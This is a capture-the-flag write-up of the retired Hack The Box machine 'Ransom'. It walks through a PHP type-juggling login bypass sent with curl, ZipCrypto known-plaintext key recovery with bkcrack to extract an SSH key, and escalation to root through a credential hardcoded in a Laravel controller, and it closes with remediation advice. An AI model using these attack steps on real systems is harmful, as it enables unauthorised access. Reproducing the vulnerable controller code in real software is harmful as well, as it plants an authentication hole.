Ransom — PHP Type Juggling and ZipCrypto Known-Plaintext
- Tools
- nmap, curl, 7z, zip, bkcrack, ssh
- Skill demonstrated
- Authentication-logic abuse and cryptographic archive recovery
- Tags
At a glance
Section titled “At a glance”| Field | Value |
|---|---|
| Difficulty | Medium |
| Target environment | Linux (Ubuntu 20.04) hosting a Laravel application behind Apache 2.4.41, with OpenSSH 8.2p1 |
| Starting position | Unauthenticated network access |
| Objective | Bypass web authentication, recover credentials from an exposed archive, and escalate to root |
| Outcome | Authenticated web session, user-level SSH access via a recovered private key, and root execution |
Summary
Section titled “Summary”Ransom is a medium-difficulty Hack The Box Linux lab whose Laravel login endpoint accepts a PHP loose-comparison quirk: a JSON boolean true in the password field authenticates without the real credential. Behind the login sits a home-directory ZIP archive encrypted with ZipCrypto; because it ships a predictable .bash_logout, a known-plaintext attack recovers the encryption keys and exposes an SSH private key for initial access. A credential hardcoded in the Laravel authentication controller then provides root. Target addresses, account names, keys, and credentials are replaced with role-based placeholders; command syntax is preserved.
Attack path: PHP type-juggling login bypass → ZipCrypto known-plaintext key recovery → recovered SSH key → user shell → hardcoded Laravel controller credential → root
Context and Objective
Section titled “Context and Objective”- Target: Linux (Ubuntu 20.04) running a Laravel application.
- Exposed services: SSH (22, OpenSSH 8.2p1) and HTTP (80, Apache 2.4.41).
- Starting position: unauthenticated network access; the web login accepts only a password, with no username field.
- Objective: bypass authentication on the web application, recover credentials from the exposed archive, obtain a shell, and escalate to root.
- Constraints: activity was confined to the Hack The Box lab environment.
Approach and Evidence
Section titled “Approach and Evidence”1. Service enumeration
Section titled “1. Service enumeration”Observation: a service-and-version scan exposes two services.
nmap -sC -sV -oA <OUTPUT_PREFIX> <TARGET_IP>22/tcp open ssh OpenSSH 8.2p1 Ubuntu80/tcp open http Apache httpd 2.4.41 — Laravel applicationSignificance: SSH is the eventual shell target, while the web service hosts a Laravel application whose login page requires only a password.
Result: the exposed surface is limited to an SSH service and a Laravel web application.
2. Login endpoint analysis and type-juggling bypass
Section titled “2. Login endpoint analysis and type-juggling bypass”Observation: the login endpoint accepts a JSON body carrying a single password field.
Action: a JSON string password is rejected, but a JSON boolean true authenticates.
curl -s http://<TARGET_IP>/api/login \ -H "Content-Type: application/json" \ -d '{"password": true}'# Login SuccessfulSignificance: PHP’s loose comparison operator (==) treats the boolean true as loosely equal to any non-empty string other than "0", so comparing user input to the expected credential with == accepts true. The request with a string value returned Invalid Password.
Result: a session cookie is issued, confirming authenticated access without the real credential.
3. Authenticated archive discovery
Section titled “3. Authenticated archive discovery”Observation: the authenticated application exposes a downloadable home-directory archive named uploaded-file-3422.zip.
7z l -slt uploaded-file-3422.zip | grep -i "method\|encrypt"Method = ZipCrypto DeflateEncrypted = +Significance: ZipCrypto is the original ZIP encryption format and is vulnerable to known-plaintext attacks when at least 12 bytes of a member’s plaintext are known; the archive’s member list is therefore the next target.
Result: the archive is confirmed to use ZipCrypto Deflate encryption.
4. ZipCrypto known-plaintext recovery
Section titled “4. ZipCrypto known-plaintext recovery”Observation: the archive contains .bash_logout, whose content on Ubuntu 20.04 is fixed and therefore known.
Action: a reference ZIP with the known member supplies the plaintext for key recovery.
zip plain.zip .bash_logout
./bkcrack -C uploaded-file-3422.zip \ -c .bash_logout \ -P plain.zip \ -p .bash_logout# Keys recovered: <KEY_1> <KEY_2> <KEY_3>Significance: the recovered internal keys let bkcrack repackage the archive under a chosen password without knowing the original one.
./bkcrack -C uploaded-file-3422.zip \ -k <KEY_1> <KEY_2> <KEY_3> \ -U unlocked.zip <NEW_PASSWORD>
7z x -p<NEW_PASSWORD> unlocked.zipResult: the decrypted archive yields .ssh/id_rsa and .ssh/id_rsa.pub, and the public key identifies the account name.
5. SSH initial access
Section titled “5. SSH initial access”Observation: the archive exposes an unencrypted SSH private key for the account.
chmod 600 .ssh/id_rsassh <LAB_USER>@<TARGET_IP> -i .ssh/id_rsaSignificance: a private key recovered from the archive authenticates directly to the exposed SSH service.
Result: user-level SSH access as <LAB_USER>.
6. Privilege escalation — hardcoded credential in controller source
Section titled “6. Privilege escalation — hardcoded credential in controller source”Observation: the shell permits reading of the Laravel application source.
find /srv/prod -name "*.php" | xargs grep -l "password" 2>/dev/nullcat /srv/prod/app/Http/Controllers/AuthController.phppublic function customLogin(Request $request) { $request->validate(['password' => 'required']);
if ($request->get('password') == "<HARDCODED_CREDENTIAL>") { session(['loggedin' => True]); return "Login Successful"; } return "Invalid Password";}Significance: the credential is hardcoded and compared with the same loose == that the login bypass exploited, so reading the source discloses the secret directly.
Action: authenticating as root with that credential.
su -# Password: <HARDCODED_CREDENTIAL>
id# uid=0(root) gid=0(root) groups=0(root)Result: the id output confirms execution in the root context.
Challenges and Decisions
Section titled “Challenges and Decisions”| Challenge | Decision | Rationale |
|---|---|---|
| ZipCrypto needs at least 12 bytes of known plaintext | Used the predictable .bash_logout shipped inside the archive |
Ubuntu 20.04 .bash_logout content is fixed and known |
Outcome
Section titled “Outcome”The evidence establishes authenticated web access through the PHP type-juggling bypass, recovery of the SSH private key from the ZipCrypto-protected archive, and root execution confirmed by the id output after authenticating with the credential read from the controller source. The initial SSH login is the only transition recorded without captured session output.
Lessons and Recommendations
Section titled “Lessons and Recommendations”The actions below are recommendations; none was validated in the lab.
- Loose comparison in authentication logic. Root cause: the controller compares user input to a credential string with
==. Impact: the booleantruecompares loosely equal to any non-empty string other than"0", so the check is satisfied and authentication is bypassed. Recommendation: use strict comparison (===) and Laravel’s built-inAuth::attempt(), which performs hashed credential checks, and audit authentication code for loose comparisons. - Credential hardcoded in application source. Root cause: the plaintext credential is embedded in
AuthController. Impact: any source disclosure yields the credential, and the same value grants root, so a web-application flaw escalates to host compromise. Recommendation: load secrets from environment configuration or a dedicated secrets manager and keep them out of version control. - ZipCrypto-encrypted archive. Root cause: legacy ZipCrypto encryption is applied to an archive containing a predictable member (
.bash_logout). Impact: known-plaintext key recovery exposes the contents, including an SSH private key. Recommendation: use modern authenticated archive encryption such as AES-256 and avoid packaging predictable files into sensitive archives.
References
Section titled “References”- Hack The Box — Ransom (retired machine)
- PHP — Comparison Operators (loose
==versus strict===semantics) - bkcrack (ZipCrypto known-plaintext key recovery)
- 7-Zip (archive listing and extraction)
- curl — command-line tool and library (HTTP requests to the login endpoint)
- OpenSSH manual pages (
sshand key permissions) - Nmap Reference Guide (service and version scanning)
- Laravel — Authentication (built-in
Authguard and credential handling)